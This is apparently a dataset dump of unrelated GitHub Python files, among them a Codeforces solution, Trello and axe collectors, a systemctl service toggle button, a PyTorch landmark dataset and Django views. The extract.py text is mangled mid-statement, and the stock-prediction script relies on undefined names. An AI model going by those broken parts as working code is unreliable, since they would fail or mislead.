diff) % MOD\n step <<= 1\n\n t = power(n, MOD - 2)\n if inv:\n for i in range(n):\n a[i] = a[i] * t % MOD\n\n\ndef ntt_conv(a, b):\n s = len(a) + len(b) - 1\n n = 1 << s.bit_length()\n a.extend([0] * (n - len(a)))\n b.extend([0] * (n - len(b)))\n\n ntt(a), ntt(b)\n for i in range(n):\n a[i] = a[i] * b[i] % MOD\n ntt(a, True)\n return a\n\n\n\ndef extended_gcd(a, b):\n \"\"\"returns gcd(a, b), s, r s.t. a * s + b * r == gcd(a, b)\"\"\"\n s, old_s = 0, 1\n r, old_r = b, a\n while r:\n q = old_r // r\n old_r, r = r, old_r - q * r\n old_s, s = s, old_s - q * s\n return old_r, old_s, (old_r - old_s * a) // b if b else 0\n\n\ndef mod_inv(a, m=MOD):\n \"\"\"returns the modular inverse of a w.r.t. to m, works when a and m are coprime\"\"\"\n g, x, _ = extended_gcd(a % m, m)\n return x % m if g == 1 else None\n\ndef main():\n TestCases = 1\n \n for _ in range(TestCases):\n n, a1, x, y, m, k = [int(i) for i in input().split()]\n a = [a1]\n for i in range(n-1):\n a.append((a[-1]*x + y) % m)\n \n # pol = [nCr(i, k) for i in range(1, n + 1)]\n pol = []\n\n # # fact = [1]\n # f = 1\n # # print(mod_inv(0))\n # factInv = [1]\n # kInv = 1\n # for i in range(1, k + 1):\n # kInv = (kInv * mod_inv(i)) % M\n # for i in range(n):\n # # fact.append((fact[-1]*(i+1)) % M)\n # f = (f * (i+1)) % M\n # factInv.append((factInv[-1] * mod_inv(i+1)) % M)\n # if i+1 - k < 0:\n # pol.append(0)\n # continue\n # # pol.append((fact[i+1] * kInv * factInv[i+1-k]) % M)\n # pol.append((f * kInv * factInv[i+1-k]) % M)\n \n # print(-1)\n # continue\n a = ntt_conv(a, a)\n # print(a)\n # print(n, len(a))\n ans = 0\n for i in range(n):\n ans ^= (a[i] % M) * (i + 1)\n \n print(ans)\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n# ======================== Functions declaration Starts ========================\nabc='abcdefghijklmnopqrstuvwxyz'\nabd={'a':0,'b':1,'c':2,'d':3,'e':4,'f':5,'g':6,'h':7,'i':8,'j':9,'k':10,'l':11,'m':12,'n':13,'o':14,'p':15,'q':16,'r':17,'s':18,'t':19,'u':20,'v':21,'w':22,'x':23,'y':24,'z':25}\n\ndef copy2d(lst): return [x[:] for x in lst] #Copy 2D list... Avoid Using Deepcopy\ndef no_of_digits(num): return 0 if num <= 0 else int(log10(num)) + 1\ndef powm(num, power, mod=M): return pow(num, power, mod)\ndef isPowerOfTwo(x): return (x and (not(x & (x - 1))))\ndef LSB(num):\n \"\"\"Returns Least Significant Bit of a number (Rightmost bit) in O(1)\"\"\"\n return num & -num\n\ndef MSB(num):\n \"\"\"Returns Most Significant Bit of a number (Leftmost bit) in O(logN)\"\"\"\n if num <= 0: return 0\n ans = 1; num >>= 1\n while num:\n num >>= 1; ans <<= 1\n return ans\n\n\nLB = bisect_left # Lower bound\nUB = bisect_right # Upper bound\n \ndef BS(a, x): # Binary Search\n i = bisect_left(a, x)\n if i != len(a) and a[i] == x:\n return i\n else:\n return -1\n\ndef gcd(x, y):\n while y:\n x, y = y, x % y\n return x\n\ndef lcm(x, y):\n return (x*y)//gcd(x,y)\n\n\n# import threading\n# def dmain():\n# sys.setrecursionlimit(1000000)\n# threading.stack_size(1024000)\n# thread = threading.Thread(target=main)\n# thread.start()\n \n# =============================== Custom Classes ===============================\n\nclass Wrapper(int):\n def __init__(self, x):\n int.__init__(x)\n def __hash__(self):\n return super(Wrapper, self).__hash__() ^ R\nInt = lambda x:Wrapper(int(x)) \n\nclass myDict():\n def __init__(self,func=int):\n # self.RANDOM = randint(0,1<<32)\n self.RANDOM = R\n self.default=func\n self.dict={}\n def __getitem__(self,key):\n myKey=self.RANDOM^key\n if myKey not in self.dict:\n self.dict[myKey]=self.default()\n return self.dict[myKey]\n def __setitem__(self,key,item):\n myKey=self.RANDOM^key\n self.dict[myKey]=item\n def __contains__(self,key):\n myKey=self.RANDOM^key\n return myKey in self.dict\n def __delitem__(self,key):\n myKey=self.RANDOM^key\n del self.dict[myKey]\n def keys(self):\n return [self.RANDOM^i for i in self.dict]\n\n\n# =============================== Region Fastio ===============================\nif not os.path.isdir('C:/users/acer'):\n BUFSIZE = 8192\n \n \n class FastIO(IOBase):\n newlines = 0\n \n def __init__(self, file):\n self._fd = file.fileno()\n self.buffer = BytesIO()\n self.writable = \"x\" in file.mode or \"r\" not in file.mode\n self.write = self.buffer.write if self.writable else None\n \n def read(self):\n while True:\n b = os.read(self._fd, max(os.fstat(self._fd).st_size, BUFSIZE))\n if not b:\n break\n ptr = self.buffer.tell()\n self.buffer.seek(0, 2), self.buffer.write(b), self.buffer.seek(ptr)\n self.newlines = 0\n return self.buffer.read()\n \n def readline(self):\n while self.newlines == 0:\n b = os.read(self._fd, max(os.fstat(self._fd).st_size, BUFSIZE))\n self.newlines = b.count(b\"\\n\") + (not b)\n ptr = self.buffer.tell()\n self.buffer.seek(0, 2), self.buffer.write(b), self.buffer.seek(ptr)\n self.newlines -= 1\n return self.buffer.readline()\n \n def flush(self):\n if self.writable:\n os.write(self._fd, self.buffer.getvalue())\n self.buffer.truncate(0), self.buffer.seek(0)\n \n \n class IOWrapper(IOBase):\n def __init__(self, file):\n self.buffer = FastIO(file)\n self.flush = self.buffer.flush\n self.writable = self.buffer.writable\n self.write = lambda s: self.buffer.write(s.encode(\"ascii\"))\n self.read = lambda: self.buffer.read().decode(\"ascii\")\n self.readline = lambda: self.buffer.readline().decode(\"ascii\")\n \n \n def print(*args, **kwargs):\n \"\"\"Prints the values to a stream, or to sys.stdout by default.\"\"\"\n sep, file = kwargs.pop(\"sep\", \" \"), kwargs.pop(\"file\", sys.stdout)\n at_start = True\n for x in args:\n if not at_start:\n file.write(sep)\n file.write(str(x))\n at_start = False\n file.write(kwargs.pop(\"end\", \"\\n\"))\n if kwargs.pop(\"flush\", False):\n file.flush()\n \n \n if sys.version_info[0] < 3:\n sys.stdin, sys.stdout = FastIO(sys.stdin), FastIO(sys.stdout)\n else:\n sys.stdin, sys.stdout = IOWrapper(sys.stdin), IOWrapper(sys.stdout)\n \n input = lambda: sys.stdin.readline().rstrip(\"\\r\\n\")\n\n# =============================== Endregion ===============================\n\nif __name__ == \"__main__\":\n #read()\n main()\n #dmain()\n","repo_name":"TheViking733n/CodeForces-Python-Solutions","sub_path":"Contests/Educational Codeforces Round 148/E_Combinatorics_Problem.2023_5_13_19_13_0.py","file_name":"E_Combinatorics_Problem.2023_5_13_19_13_0.py","file_ext":"py","file_size_in_byte":26170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12633384799","text":"\"\"\"Trello metric collector base classes.\"\"\"\n\nfrom abc import ABC\n\nfrom shared.utils.functions import first\n\nfrom base_collectors import SourceCollector\nfrom collector_utilities.type import URL\nfrom model import SourceResponses\n\n\nclass TrelloBase(SourceCollector, ABC):\n \"\"\"Base class for Trello collectors.\"\"\"\n\n async def _landing_url(self, responses: SourceResponses) -> URL:\n \"\"\"Override to get the landing URL from the response.\"\"\"\n return URL((await responses[0].json())[\"url\"] if responses else \"https://trello.com\")\n\n async def _get_source_responses(self, *urls: URL) -> SourceResponses:\n \"\"\"Extend to add authentication and field parameters to the URL.\"\"\"\n api = (\n f\"1/boards/{await self.__board_id()}?fields=id,url,dateLastActivity&lists=open&\"\n \"list_fields=name&cards=visible&card_fields=name,dateLastActivity,due,idList,url\"\n )\n return await super()._get_source_responses(await self.__url_with_auth(api))\n\n async def __board_id(self) -> str:\n \"\"\"Return the id of the board specified by the user.\"\"\"\n url = await self.__url_with_auth(\"1/members/me/boards?fields=name\")\n boards = await (await super()._get_source_responses(url))[0].json()\n return str(first(boards, lambda board: self._parameter(\"board\") in board.values())[\"id\"])\n\n async def __url_with_auth(self, api_part: str) -> URL:\n \"\"\"Return the authentication URL parameters.\"\"\"\n sep = \"&\" if \"?\" in api_part else \"?\"\n api_key = self._parameter(\"api_key\")\n token = self._parameter(\"token\")\n return URL(f\"{await self._api_url()}/{api_part}{sep}key={api_key}&token={token}\")\n","repo_name":"ICTU/quality-time","sub_path":"components/collector/src/source_collectors/trello/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"60"} +{"seq_id":"12236319365","text":"\nfrom nicegui import ui\n\nfrom utils import execute_sys_cmd\nfrom utils import get_service_activation_status\nfrom utils.system.checker import get_service_mosquitto_activation_status\n\nclass ButtonStartStop:\n \"\"\"\n \"\"\"\n\n def __init__(self) -> None:\n\n # State Management\n self.previous_state = None\n self.service_state = get_service_activation_status()\n\n with ui.element('div').classes(\"flex items-stretch\"):\n with ui.element('div').classes(\"m-2\") as self.ui_div_button:\n self.ui_button = ui.button(text=\"start\", on_click=self.action)\n\n with ui.element('div') as self.ui_status:\n self.ui_label = ui.label('inside a colored div')\n\n self.ui_timer = ui.timer(1.0, self.check_service_activation)\n\n self.update_button()\n\n # ---\n\n def change_state(self, new_state):\n # Check that new state is different from the current one\n if new_state == self.service_state:\n return\n\n self.previous_state = self.service_state\n self.service_state = new_state\n self.update_button()\n\n # ---\n\n def update_button(self):\n \"\"\"\n \"\"\"\n if self.service_state == \"inactive\":\n self.ui_div_button.clear()\n with self.ui_div_button:\n self.ui_button = ui.button(text=\"START\", on_click=self.action)\n self.ui_button.props('color=green')\n self.ui_label.text = \"Platform Inactive\"\n self.ui_status.classes(replace=\"bg-orange-500 p-4\")\n\n elif self.service_state == \"active\":\n self.ui_div_button.clear()\n with self.ui_div_button:\n self.ui_button = ui.button(text=\"STOP\", on_click=self.action)\n self.ui_button.props('color=red')\n self.ui_label.text = \"Platform Active\"\n self.ui_status.classes(replace=\"bg-green-500 p-4\")\n\n elif self.service_state == \"failed\":\n self.ui_div_button.clear()\n with self.ui_div_button:\n self.ui_button = ui.button(text=\"START\", on_click=self.action)\n self.ui_button.props('color=green')\n self.ui_label.text = \"Platform Failed\"\n self.ui_status.classes(replace=\"bg-red-500 p-4\")\n\n # Use just click the button\n # Remove the button and show a spinner\n elif self.service_state == \"busy\":\n self.ui_div_button.clear()\n with self.ui_div_button:\n ui.spinner('dots', size='lg', color='red')\n\n else:\n print(f\"- Unknown Service State: '{self.service_state}'\")\n\n # ---\n\n def check_service_activation(self):\n new_status = get_service_activation_status()\n self.change_state(new_status)\n\n # ---\n\n def action(self):\n \"\"\"Execute the action matching the state\n \"\"\"\n \n # Turn the button as busy before executing the action\n state_before_action = self.service_state\n self.change_state(\"busy\")\n \n # Execute the action\n if state_before_action == \"inactive\":\n self.action_start()\n elif state_before_action == \"active\":\n self.action_stop()\n elif state_before_action == \"failed\":\n self.action_start()\n else:\n print(f\"- Error Service State: {state_before_action}\")\n\n # ---\n\n def action_start(self):\n \"\"\"Actions triggered when the start button is pressed\n \"\"\"\n print(\"+ action_start\")\n\n if get_service_mosquitto_activation_status() != \"active\":\n cmd = ['systemctl', 'start', \"mosquitto.service\"]\n text = execute_sys_cmd(cmd)\n\n cmd = ['systemctl', 'enable', \"panduza-py-platform.service\"]\n text = execute_sys_cmd(cmd)\n\n cmd = ['systemctl', 'start', \"panduza-py-platform.service\"]\n text = execute_sys_cmd(cmd)\n\n print(\"- action_start\")\n\n\n def action_stop(self):\n cmd = ['systemctl', 'disable', \"panduza-py-platform.service\"]\n text = execute_sys_cmd(cmd)\n\n cmd = ['systemctl', 'stop', \"panduza-py-platform.service\"]\n text = execute_sys_cmd(cmd)\n\n\n\n","repo_name":"Panduza/panduza-admin-dashboard","sub_path":"panduza_admin_dashboard/components/element/button_start_stop.py","file_name":"button_start_stop.py","file_ext":"py","file_size_in_byte":4160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71643147072","text":"import sys\nimport os\nimport os.path as path\nimport pickle\nimport struct\nimport collections\n\nimport afs\nimport marc\nimport mtex\n#import gim\nimport ev\nimport font\n\nimport config\nimport time\n\nif len(sys.argv) < 3:\n exit('usage: {} [full]'.format(sys.argv[0]))\n\ndef extract(file, extract_files = True, toplevel = False):\n meta = collections.OrderedDict()\n if path.isdir(file):\n for f in os.listdir(file):\n meta.update(extract(path.join(file, f)))\n elif fullextract or (path.basename(file) not in config.skipfolders and path.basename(path.dirname(file)) not in config.skipfolders):\n with open(file, 'rb') as f:\n magic = struct.unpack('3\n with open('logfile.log', 'w') as logfile:\n sys.stdout = logfile\n meta['files'] = extract(sys.argv[1], toplevel=True)\n pickle.dump(meta, metafile)\n","repo_name":"okaysubs/snw-tools","sub_path":"tools/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":4020,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"60"} +{"seq_id":"74358869950","text":"def isPrime(a):\n for i in range (3, int(a ** 0.5) + 1, 2):\n if a % i == 0:\n return False\n return True\n\n\nprime = [0, 2, 3]\ncount = 2\n\ndef getPrime (n):\n global count\n if count > n:\n return prime[n]\n else:\n v = prime [count] + 2\n while count < n:\n if isPrime(v):\n prime.append(v)\n count += 1\n v += 2\n return prime[n]\n\nt = int(input().strip())\nfor a0 in range(t):\n n = int(input().strip())\n\n print(getPrime (n))\n","repo_name":"bharara/HackerRank","sub_path":"ProjectEuler/7 - 10001st prime.py","file_name":"7 - 10001st prime.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5980129712","text":"import os\r\n\r\nimport cv2\r\nimport numpy as np\r\nimport torch\r\nfrom torch.utils.data import Dataset\r\nfrom torchvision import transforms\r\n\r\nfrom utils import get_markposion_fromtxt\r\n\r\n\r\nclass medical_dataset(Dataset):\r\n def __init__(self, img_dir, gt_dir, resize_height, resize_width, point_num, sigma, transform=None):\r\n self.img_dir = img_dir\r\n self.gt_dir = gt_dir\r\n self.resize_height = resize_height\r\n self.resize_width = resize_width\r\n self.img_names = os.listdir(img_dir)\r\n self.img_nums = len(self.img_names)\r\n self.point_num = point_num\r\n self.sigma = sigma\r\n self.heatmap_height = int(self.resize_height)\r\n self.heatmap_width = int(self.resize_width)\r\n\r\n def __getitem__(self, i):\r\n index = i % self.img_nums\r\n img_name = self.img_names[index]\r\n img_path = os.path.join(self.img_dir, img_name)\r\n img, scal_ratio_w, scal_ratio_h = self.img_preproccess(img_path)\r\n # img = normalize_robust(img)\r\n gt_path = self.gt_dir + '/' + img_name.split('.')[0] + '.txt'\r\n gt_x, gt_y = get_markposion_fromtxt(self.point_num, gt_path)\r\n x_all = gt_x / scal_ratio_w\r\n y_all = gt_y / scal_ratio_h\r\n heatmaps = self.get_heatmaps(x_all, y_all, self.sigma)\r\n heatmaps_refine = self.get_refine_heatmaps(x_all / 2, y_all / 2, self.sigma)\r\n # img = self.data_preproccess(img)\r\n heatmaps = self.data_preproccess(heatmaps)\r\n heatmaps_refine = self.data_preproccess(heatmaps_refine)\r\n return img, heatmaps, heatmaps_refine, img_name, x_all, y_all\r\n\r\n def __len__(self):\r\n return self.img_nums\r\n\r\n def get_heatmaps(self, x_all, y_all, sigma):\r\n heatmaps = np.zeros((self.point_num, self.heatmap_height, self.heatmap_width))\r\n for i in range(self.point_num):\r\n heatmaps[i] = CenterLabelHeatMap(self.heatmap_width, self.heatmap_height, x_all[i], y_all[i], sigma)\r\n heatmaps = np.asarray(heatmaps, dtype=\"float32\")\r\n return heatmaps\r\n\r\n def get_refine_heatmaps(self, x_all, y_all, sigma):\r\n heatmaps = np.zeros((self.point_num, int(self.heatmap_height / 2), int(self.heatmap_width / 2)))\r\n for i in range(self.point_num):\r\n heatmaps[i] = CenterLabelHeatMap(int(self.heatmap_width / 2), int(self.heatmap_height / 2), x_all[i],\r\n y_all[i], sigma)\r\n heatmaps = np.asarray(heatmaps, dtype=\"float32\")\r\n return heatmaps\r\n\r\n def img_preproccess(self, img_path):\r\n img = cv2.imread(img_path)\r\n img_h, img_w, _ = img.shape\r\n img = cv2.resize(img, (self.resize_width, self.resize_height))\r\n img = np.transpose(img, (2, 0, 1))\r\n scal_ratio_w = img_w / self.resize_width\r\n scal_ratio_h = img_h / self.resize_height\r\n\r\n img = torch.from_numpy(img).float()\r\n # img = img / 255\r\n\r\n # img transform\r\n transform1 = transforms.Compose([\r\n # transforms.Normalize([121.78, 121.78, 121.78], [74.36, 74.36, 74.36])\r\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\r\n ]\r\n )\r\n img = transform1(img)\r\n\r\n return img, scal_ratio_w, scal_ratio_h\r\n\r\n def data_preproccess(self, data):\r\n data = torch.from_numpy(data).float()\r\n return data\r\n\r\n\r\ndef CenterLabelHeatMap(img_width, img_height, c_x, c_y, sigma):\r\n X1 = np.linspace(1, img_width, img_width)\r\n Y1 = np.linspace(1, img_height, img_height)\r\n [X, Y] = np.meshgrid(X1, Y1)\r\n X = X - c_x\r\n Y = Y - c_y\r\n D2 = X * X + Y * Y\r\n E2 = 2.0 * sigma * sigma\r\n Exponent = D2 / E2\r\n heatmap = np.exp(-Exponent)\r\n # heatmap[int(c_y)][int(c_x)] = 2\r\n return heatmap\r\n","repo_name":"JuvenileInWind/FARNet","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3767,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"} +{"seq_id":"40212440257","text":"############\n############\n##\n## Example of use of multiple animated shapes,\n## proximity and color detection.\n## For ADAFRUIT Clue boards\n##\n## CHRISTMAS DEMO\n##\n## By @Marius_450\n##\n##\n############\n############\n\n\n# libs\n\nimport board\nimport displayio\n\nimport anisha\n\nfrom adafruit_led_animation.group import AnimationGroup\nfrom adafruit_led_animation.color import GOLD\nfrom adafruit_led_animation.animation.pulse import Pulse\nfrom adafruit_led_animation.animation.sparkle import Sparkle\nfrom adafruit_led_animation.animation.chase import Chase\n\nimport time\nimport busio\nimport digitalio\nfrom adafruit_apds9960.apds9960 import APDS9960\n\n# proximity sensor setup\n\ni2c = busio.I2C(board.SCL, board.SDA)\napds = APDS9960(i2c, gain=0x02)\n\napds.enable_proximity = True\n\nwhite_leds = digitalio.DigitalInOut(board.WHITE_LEDS)\nwhite_leds.switch_to_output()\n\n# Display setup\n\ndisplay = board.DISPLAY\n\n# Moon shapes\n\narc1 = anisha.Aarc(200,2,200,60,29,colors=4,outline=0x606060, stroke=1, steps=None)\n\n\narc2 = anisha.Aarc(200,2,200,60,36,colors=4,outline=0x606060, stroke=1, steps=None)\n\n# Christmas tree\n\ntree = anisha.Apoly([(100,195), (100,175), (50,175), (80,140), (60,140), (90,105), (80,105), (119,60),\n (158,105), (148,105), (178,140), (158,140), (188,175), (138,175), (138,195)],\n colors=8,outline=0x006000, stroke=1, closed=True)\n\n# Star\n\nstar1 = anisha.Astar(119,42,5,20,outline=GOLD,colors=16)\n\n# Lights in the tree\n\nlights = anisha.Apoints([(105,125), (100,170), (75, 180), (50,180), (80,135), (60,145), (95,100), (80,110), (119,85),\n (158,110), (143,100), (178,145), (158,135), (188,180), (163,180), (138,170), (133,125)],\n size=2, outline=0xFF0000,colors=4)\n\n\ngroup = displayio.Group(max_size=5,scale=1)\n\ngroup.append(arc1)\ngroup.append(arc2)\ngroup.append(tree)\ngroup.append(star1)\ngroup.append(lights)\n\ndisplay.show(group)\n\n# Animations setup\n\nstar_pulse = Pulse(star1, speed=0.1, period=6, color=GOLD)\n\ntree_sparkle = Sparkle(tree, speed=0.3, color=0x00FF00, num_sparkles=20)\n\nlights_blink = Chase(lights, speed=1, size=1, spacing=2, color=0xFF0000)\n\nanimation_group = AnimationGroup(star_pulse, tree_sparkle, lights_blink)\n\n# state variables\n\nprox = False\n\nwhile True:\n animation_group.animate()\n if prox is False and apds.proximity>15:\n # print(\"Proximity !\")\n prox = True\n apds.enable_color = True\n white_leds.value = True\n while not apds.color_data_ready:\n time.sleep(0.005)\n # Take 5 readings in one second\n values = [[],[],[]]\n for i in range(5):\n r, g, b, c = apds.color_data\n d = r+ g+ b\n # print(\"r: {}, g: {}, b: {}, c: {}, d: {}\".format(r, g, b, c, d))\n values[0].append(r//256)\n values[1].append(g//256)\n values[2].append(b//256)\n time.sleep(0.2)\n apds.enable_color = False\n white_leds.value = False\n if prox is True and apds.proximity<15:\n #print(\"No more proximity !\")\n r, g, b = sum(values[0])//5, sum(values[1])//5, sum(values[2])//5\n # set the moon to the detected color\n arc1.fill((r,g,b))\n arc2.fill((r,g,b))\n\n prox = False\n\n","repo_name":"Marius-450/anisha","sub_path":"examples/DEMO_Clue_Christmas.V2.py","file_name":"DEMO_Clue_Christmas.V2.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"} +{"seq_id":"9611584059","text":"from sklearn.preprocessing import MinMaxScaler\nimport pandas as pd\nimport numpy as np\nimport os\n\n\ndef loadStockInfo(inputPath):\n cols = [\"date\",\"open\", \"high\", \"low\", \"close\", \"volume\"]\n df = pd.read_csv(inputPath, sep=\",\", header=None, names=cols)\n return df\n\ndef process_house_attributes(df, train, test):\n continuous = [\"open\", \"high\", \"low\", \"close\", \"volume\"]\n\n cs = MinMaxScaler()\n\n trainContinuous = cs.fit_transform(train[continuous])\n testContinuous = cs.transform(test[continuous])\n\n trainX = np.hstack([trainContinuous])\n testX = np.hstack([testContinuous])\n\n return (trainX, testX)\n\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense\n\n\ndef create_mlp(dim, regress=False):\n model = Sequential()\n model.add(Dense(8, input_dim=dim, activation=\"relu\"))\n model.add(Dense(4, activation=\"relu\"))\n\n if regress:\n model.add(Dense(1, activation=\"linear\"))\n\n return model\n\ninputPath = os.path.sep.join([args[\"dataset\"], \"StockInfoFinal.txt\"])\ndf = datasets.loadStockInfo(nputPath)\n\n(train, test) = train_test_split(df, test_size=0.2, random_state=0)\n\nmodel = models.create_mlp(trainX.shape[1], regress=True)\nopt = Adam(lr=1e-3, decay=1e-3 / 200)\nmodel.compile(loss=\"mean_absolute_percentage_error\", optimizer=opt)\n\n# train the model\nprint(\"[INFO] training model...\")\nmodel.fit(trainX, trainY, validation_data=(testX, testY),\n epochs=200, batch_size=8)\n\n# make predictions on the testing data\nprint(\"[INFO] predicting house prices...\")\npreds = model.predict(testX)\n\n# compute the difference between the *predicted* house prices and the\n# *actual* house prices, then compute the percentage difference and\n# the absolute percentage difference\ndiff = preds.flatten() - testY\npercentDiff = (diff / testY) * 100\nabsPercentDiff = np.abs(percentDiff)\n\n# compute the mean and standard deviation of the absolute percentage\n# difference\nmean = np.mean(absPercentDiff)\nstd = np.std(absPercentDiff)\n\n# finally, show some statistics on our model\nlocale.setlocale(locale.LC_ALL, \"en_US.UTF-8\")\nprint(\"[INFO] avg. house price: {}, std house price: {}\".format(\n locale.currency(df[\"price\"].mean(), grouping=True),\n locale.currency(df[\"price\"].std(), grouping=True)))\nprint(\"[INFO] mean: {:.2f}%, std: {:.2f}%\".format(mean, std))","repo_name":"GaryZlobinskiy/Blazos","sub_path":"src/annAttempt1.py","file_name":"annAttempt1.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"28203532504","text":"# coding: utf-8\n# @FileName: select_sort.py\n# @Time: 2022/8/16 13:55\n# @Author: QHB\n\n# 选择排序 O(n^2)\n\n\ndef select_sort(arr):\n for i in range(len(arr) - 1):\n # 记录最小数的索引\n min_index = i\n for j in range(i + 1, len(arr)):\n if arr[j] < arr[min_index]:\n min_index = j\n # i 不是最小数的索引时，将 i 和最小数的索引进行交换\n if i != min_index:\n arr[i], arr[min_index] = arr[min_index], arr[i]\n return arr\n\n\nprint(select_sort(arr=[5, 4, 3, 2, 1]))\n","repo_name":"qhb98/leetcode_record","sub_path":"method/排序/select_sort.py","file_name":"select_sort.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12632860249","text":"\"\"\"Axe CSV accessibility collector.\"\"\"\n\nimport csv\nimport re\nfrom io import StringIO\n\nfrom base_collectors import CSVFileSourceCollector\nfrom collector_utilities.functions import match_string_or_regular_expression, md5_hash\nfrom model import Entities, Entity, SourceResponses\n\n\nclass AxeCSVAccessibility(CSVFileSourceCollector):\n \"\"\"Collector class to get accessibility violations.\"\"\"\n\n def _include_entity(self, entity: Entity) -> bool:\n \"\"\"Return whether to include the violation.\"\"\"\n impact = entity[\"impact\"]\n if impact and impact not in self._parameter(\"impact\"):\n return False\n element_include_filter = self._parameter(\"element_include_filter\")\n if element_include_filter and not match_string_or_regular_expression(entity[\"element\"], element_include_filter):\n return False\n element_exclude_filter = self._parameter(\"element_exclude_filter\")\n if element_exclude_filter and match_string_or_regular_expression(entity[\"element\"], element_exclude_filter):\n return False\n return True\n\n async def _parse_entities(self, responses: SourceResponses) -> Entities:\n \"\"\"Override to parse the CSV and create the entities.\"\"\"\n entity_attributes = [\n {\n \"url\": str(row[\"URL\"]),\n \"violation_type\": row[\"Violation Type\"],\n \"impact\": row[\"Impact\"],\n \"element\": row[\"DOM Element\"],\n \"page\": re.sub(r\"https?://[^/]+\", \"\", row[\"URL\"]),\n \"description\": row[\"Messages\"],\n \"help\": row[\"Help\"],\n }\n for row in await self.__parse_csv(responses)\n ]\n return Entities(\n Entity(key=md5_hash(\",\".join(str(value) for value in attributes.values())), **attributes)\n for attributes in entity_attributes\n )\n\n @staticmethod\n async def __parse_csv(responses: SourceResponses) -> list[dict[str, str]]:\n \"\"\"Parse the CSV and return the rows and parsed items .\"\"\"\n rows = []\n for response in responses:\n csv_text = (await response.text()).strip()\n rows.extend(list(csv.DictReader(StringIO(csv_text, newline=\"\"))))\n return rows\n","repo_name":"ICTU/quality-time","sub_path":"components/collector/src/source_collectors/axe_csv/accessibility.py","file_name":"accessibility.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"60"} +{"seq_id":"14622190659","text":"\"\"\"\nRead-only services for data on the types of Transactions supported by CloudCIX\n\"\"\"\n\n# libs\nfrom cloudcix_rest.exceptions import Http404\nfrom cloudcix_rest.views import APIView\nfrom django.conf import settings\nfrom rest_framework.permissions import BasePermission\nfrom rest_framework.request import Request\nfrom rest_framework.response import Response\n# local\nfrom membership.controllers import TransactionTypeListController\nfrom membership.models import TransactionType\nfrom membership.serializers import TransactionTypeSerializer\n\n\n__all__ = [\n 'TransactionTypeCollection',\n 'TransactionTypeResource',\n]\n\n\nclass LoginPermission(BasePermission):\n \"\"\"\n Custom DRF Permission for this class\n \"\"\"\n def has_permission(self, request, view):\n return True\n\n\nclass TransactionTypeCollection(APIView):\n \"\"\"\n Handles methods regarding TransactionType records that don't require an id to be specified -> list\n \"\"\"\n\n permission_classes = (LoginPermission,)\n\n def get(self, request: Request) -> Response:\n \"\"\"\n summary: Retrieve a list of Transaction Type records\n\n description: |\n Retrieve a list of all of the Transaction Types that are supported by the CloudCIX platform\n\n responses:\n 200:\n description: A list of Transaction Type records, filtered and ordered by the User\n \"\"\"\n tracer = settings.TRACER\n\n with tracer.start_span('validating_controller', child_of=request.span) as span:\n controller = TransactionTypeListController(data=request.GET, request=request, span=span)\n # By validating the controller we will generate the filters\n controller.is_valid()\n\n # Now get a list of Transaction Type records using the filters\n # Search and exclude can be empty dicts so there's no need\n # to check if they're populated\n with tracer.start_span('retrieving_requested_objects', child_of=request.span):\n objs = TransactionType.objects.filter(\n **controller.cleaned_data['search'],\n ).exclude(\n **controller.cleaned_data['exclude'],\n ).order_by(\n controller.cleaned_data['order'],\n )\n\n with tracer.start_span('generating_metadata', child_of=request.span):\n total_records = objs.count()\n page = controller.cleaned_data['page']\n order = controller.cleaned_data['order']\n limit = controller.cleaned_data['limit']\n warnings = controller.warnings\n metadata = {\n 'total_records': total_records,\n 'page': page,\n 'limit': limit,\n 'order': order,\n 'warnings': warnings,\n }\n # Handle pagination\n objs = objs[page * limit:(page + 1) * limit]\n\n # Generate and return response\n with tracer.start_span('serializing_data', child_of=request.span) as span:\n span.set_tag('num_objects', objs.count())\n data = TransactionTypeSerializer(instance=objs, many=True).data\n\n return Response({'content': data, '_metadata': metadata})\n\n\nclass TransactionTypeResource(APIView):\n\n permission_classes = (LoginPermission,)\n\n def get(self, request: Request, pk: int) -> Response:\n \"\"\"\n summary: Read the details of a specified Transaction Type record\n\n description: |\n Attempt to read a Transaction Type record by the given `pk`, returning a 404 if it does not exist\n\n path_params:\n pk:\n description: The id of the Transaction Type record to be read\n type: integer\n\n responses:\n 200:\n description: Transaction Type record was read successfully\n 404: {}\n \"\"\"\n tracer = settings.TRACER\n\n with tracer.start_span('retrieving_requested_object', child_of=request.span):\n try:\n obj = TransactionType.objects.get(id=pk)\n except TransactionType.DoesNotExist:\n return Http404(error_code='membership_transaction_type_read_001')\n\n with tracer.start_span('serializing_data', child_of=request.span):\n data = TransactionTypeSerializer(instance=obj).data\n\n return Response({'content': data})\n","repo_name":"CloudCIX/membership","sub_path":"views/transaction_type.py","file_name":"transaction_type.py","file_ext":"py","file_size_in_byte":4360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"27940049695","text":"import pyaudio\nimport numpy as np\nfrom util.FIR_filter import FIRFilter\nimport matplotlib.pyplot as plt\nimport time\nimport sys\nfrom queue import Queue\nimport threading\n# Create a queue for thread-safe data transfer\noctave_data_queue 